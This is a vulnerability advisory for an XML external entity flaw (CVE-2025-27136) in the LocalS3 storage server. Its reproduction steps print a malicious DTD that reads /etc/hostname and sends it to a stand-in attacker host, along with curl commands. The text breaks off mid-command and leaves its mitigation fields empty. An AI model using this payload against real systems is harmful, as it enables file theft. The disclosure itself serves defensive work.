LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection
Date: 2025-03
Affected: maven/io.github.robothy:local-s3-rest
Attack vector: path-traversal
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2025-27136
CWE: CWE-611

## Description The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections. The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests. The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations. ## Steps to Reproduce 1. Create a malicious DTD file containing the following content: ``` <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>"> %eval; %exfil; ``` 2. Host the malicious DTD file on an accessible web server 3. Initialize a multipart upload to the LocalS3 server: ``` curl -X PUT "http://app/test-bucket/test.txt?uploads" ``` 4. Send a POST request to complete the multipart upload with the following XML payload: ``` curl -X POST "http://app/test-bucket/test.txt?up


Mitigations:

Architectural layers (MAESTRO):